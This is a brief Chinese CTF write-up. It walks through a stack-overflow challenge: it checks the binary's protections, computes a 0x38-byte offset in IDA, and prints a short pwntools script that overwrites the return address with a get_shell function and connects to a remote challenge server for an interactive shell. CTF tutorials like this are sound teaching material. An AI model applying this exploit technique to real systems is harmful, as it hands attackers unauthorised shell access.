环境说明
Ubuntu 16.04
pwntool
IDA
gdb-peda
先丢到Ubuntu看看文件的类型 64位
然后看看保护机制,发现没有保护机制
然后丢到IDA看看 F5查看伪代码
main函数后面还有一个get_shell的函数
在main函数中read存在栈溢出漏洞,我们可以填充一些无意义的字符,等到字符的缓冲区满了,函数要返回的时候,我们输入我们的get_shell函数的入口地址,那么系统就会执行我们的get_shell函数
问题在于我们要输入多少字符
双击read函数中间的&s
我们可以算一下需要偏移距离 0x08-(0x30)=0x38个字符 也就是十进制的56,往read函数填充56个字符,在输入get_shell的地址,系统就会执行get_shell函数
那么get_shell函数的地址是多少
构造exp
from pwn import * r=remote('114.116.54.89',10003) payload='a'*0x38+p64(0x400751) r.sendline(payload) r.interactive()
执行